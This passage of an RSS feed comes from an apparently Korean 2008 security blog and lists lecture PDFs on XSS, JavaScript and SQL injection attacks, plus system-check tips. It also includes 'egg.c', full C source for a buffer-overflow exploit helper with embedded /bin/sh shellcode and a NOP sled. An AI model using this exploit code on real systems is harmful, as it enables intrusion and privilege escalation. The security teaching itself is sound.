New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">, </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">무료로</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">인스톨</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">할</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">수</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">있습니다</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">. </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">전</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> 5</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">회의</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">예정으로</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> Asterisk</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">를</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">소개합니다</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">. </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">제</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">5</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">회까지</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">읽어</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">주시면</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">, asterisk</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">란</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">무엇인가</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">, </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">무엇이</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">가능해</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">무엇을</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">할</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">수</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">없는</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">것인지</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">어느</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">정도</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">감을</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">잡아준다고</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">생각합니다<br><br>...</span>			 ]]> 
		</description>
		<category>SecurityLectures</category>

		<comments>http://univac.egloos.com/1653096#comments</comments>
		<pubDate>Mon, 28 Apr 2008 08:52:34 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ XSS공격 ]]> </title>
		<link>http://univac.egloos.com/1644678</link>
		<guid>http://univac.egloos.com/1644678</guid>
		<description>
			<![CDATA[ 
  <a href="http://pds9.egloos.com/pds/200804/25/73/XXS_attack.pdf">XXS_attack.pdf</a><br><br>대부분의 인터넷 기업들은 수많은 개인 정보를 가지고 있으며, 각 업체가 가지고 있는 개인 정보의 보안 여부는 그 업체의 신뢰도를 평가하는 중요한 요소가 된다. 개인의 입장에서 볼 때 어떤 업체든 그 업체가 가지고 있는 개인 정보가 유출되는 것은 결코 달갑지 않은 일이다. 혹시 유출된 자신의 개인 정보가 악용될 경우 심각한 일이 벌어질 수도 있기 때문이다. 이렇듯 사회적으로 중요한 문제가 되고 있는 개인 정보 유출은 앞에서 살펴본 SQL 삽입 공격처럼 공격자가 데이터베이스에 직접 접근하는 방식을 이용할 수도 있지만, XSS(Cross Site Scripting : 크로스 사이트 스크립팅)와 같은 방식을 이용할 수도 있다. XSS는 SQL 삽입 공격처럼 대량의 개인 정보를 수집하지는 못하지만, 특정 대상을 목표로 공격을 수행할 수 있다. 우리나라의 웹 사이트들은 대부분 이 XSS 공격에 취약하다. XSS를 통해 공격할 수 있는 부분이 너무 많기 때문이다. 게다가 여러분이 웹 서핑을 하는 동안에도 여러분이 미처 깨닫기 전에 이 XSS 공격에 노출될 수 있다. <br>&nbsp;이 장에서는 XSS 공격 기법을 알아봄으로써 어떻게 개인 정보가 유출되는지, 그리고 그에 대한 대응책에는 어떤 것들이 있는지 알아본다.			 ]]> 
		</description>

		<comments>http://univac.egloos.com/1644678#comments</comments>
		<pubDate>Fri, 25 Apr 2008 11:01:38 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ C에서 어셈블러사용하기 ]]> </title>
		<link>http://univac.egloos.com/1644673</link>
		<guid>http://univac.egloos.com/1644673</guid>
		<description>
			<![CDATA[ 
  <a href="http://pds9.egloos.com/pds/200804/25/73/use_assem_in_c.pdf">use_assem_in_c.pdf</a><br>			 ]]> 
		</description>

		<comments>http://univac.egloos.com/1644673#comments</comments>
		<pubDate>Fri, 25 Apr 2008 11:00:42 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ JAVASCRIPT attack ]]> </title>
		<link>http://univac.egloos.com/1644671</link>
		<guid>http://univac.egloos.com/1644671</guid>
		<description>
			<![CDATA[ 
  <a href="http://pds8.egloos.com/pds/200804/25/73/javascript_attack.pdf">javascript_attack.pdf</a><br><br>이 문서는 FORM을 이용한 공격 그리고 SQL 인젝션 공격, 쿠키에 대하여 서술해놓았으며 hector<br>(lezr.com) <a href="mailto:hict0r@hotmail.com">hict0r@hotmail.com</a> 님의 글을 참조하여 만든내용입니다<br><br>....			 ]]> 
		</description>

		<comments>http://univac.egloos.com/1644671#comments</comments>
		<pubDate>Fri, 25 Apr 2008 10:59:27 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ egg.c ]]> </title>
		<link>http://univac.egloos.com/1644662</link>
		<guid>http://univac.egloos.com/1644662</guid>
		<description>
			<![CDATA[ 
  <p>#include &lt;stdlib.h&gt; <br>#define DEFAULT_OFFSET 0<br>#define DEFAULT_BUFFER_SIZE 512<br>#define DEFAULT_EGG_SIZE 2048<br>#define NOP 0x90 <br>char shellcode[] = "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; <br>unsigned long get_esp(void) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("movl %esp,%eax");<br>} <br>int main(int argc, char *argv[]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char *buff, *ptr, *egg;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long *addr_ptr, addr;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i, eggsize=DEFAULT_EGG_SIZE; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (argc &gt; 1) bsize = atoi(argv[1]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (argc &gt; 2) offset= atoi(argv[2]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (argc &gt; 3) eggsize = atoi(argv[3]); </p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!(buff = malloc(bsize))) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Can't allocate memory.\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!(egg = malloc(eggsize))) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Can't allocate memory.\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addr = get_esp() - offset;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Using address: 0x%x\n", addr); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr = buff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addr_ptr = (long *)ptr; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; bsize; i+=4) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(i == 1040) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(addr_ptr++) = 0x1234567;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(addr_ptr++) = addr;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } </p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr = egg;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(ptr++) = NOP; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; strlen(shellcode); i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(ptr++) = shellcode[i]; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buff[bsize - 1] = '\0';<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; egg[eggsize - 1] = '\0'; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(egg,"EGG=",4);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; putenv(egg);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(buff,"RET=",4);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; putenv(buff);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system("/bin/bash");<br>} <br></p>			 ]]> 
		</description>
		<category>SourceCodes</category>

		<comments>http://univac.egloos.com/1644662#comments</comments>
		<pubDate>Fri, 25 Apr 2008 10:55:47 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ SysAnalyzer ]]> </title>
		<link>http://univac.egloos.com/1644658</link>
		<guid>http://univac.egloos.com/1644658</guid>
		<description>
			<![CDATA[ 
  <a href="http://pds8.egloos.com/pds/200804/25/73/SysAnalyzer_Setup.exe">SysAnalyzer_Setup.exe</a><br>.			 ]]> 
		</description>
		<category>WebTools</category>

		<comments>http://univac.egloos.com/1644658#comments</comments>
		<pubDate>Fri, 25 Apr 2008 10:54:34 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ 간단한 시스템 점검 방법 ]]> </title>
		<link>http://univac.egloos.com/1644653</link>
		<guid>http://univac.egloos.com/1644653</guid>
		<description>
			<![CDATA[ 
  <a href="http://pds8.egloos.com/pds/200804/25/73/simple_system_check.pdf">simple_system_check.pdf</a><br><br>본 글의 목적은 다소 높아가는 공격의 위험에서 시스템을 해킹 사고 이전이나 이후에 간단하게<br>점검할 수 있도록 참고하기 위해 만듭니다(본래의 “해킹”이란 단어는 나쁜 뜻이 아니지만, 대부분<br>해킹이라는 단어를 사용함으로 여기서도 해킹이라고 칭함)<br>기본적인 시스템에 대한 지식으로도 간단하게 점검하도록 하여, 사고 전에 미리 사전 점검으로<br>시스템의 보안성을 다소 높이거나, 사고 후 직접 사고 내용을 분석하여 신속한 사고 처리 및 차<br>후 사고에 대한 대비를 할 수 있도록 하면 좋겠습니다. 특별히 어려운 것 없이 할 수 있는 부분<br>이 대부분이므로, .도움이 되길 바랍니다. (이하 존칭 생략)<br>....			 ]]> 
		</description>

		<comments>http://univac.egloos.com/1644653#comments</comments>
		<pubDate>Fri, 25 Apr 2008 10:52:46 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
</channel>
</rss>
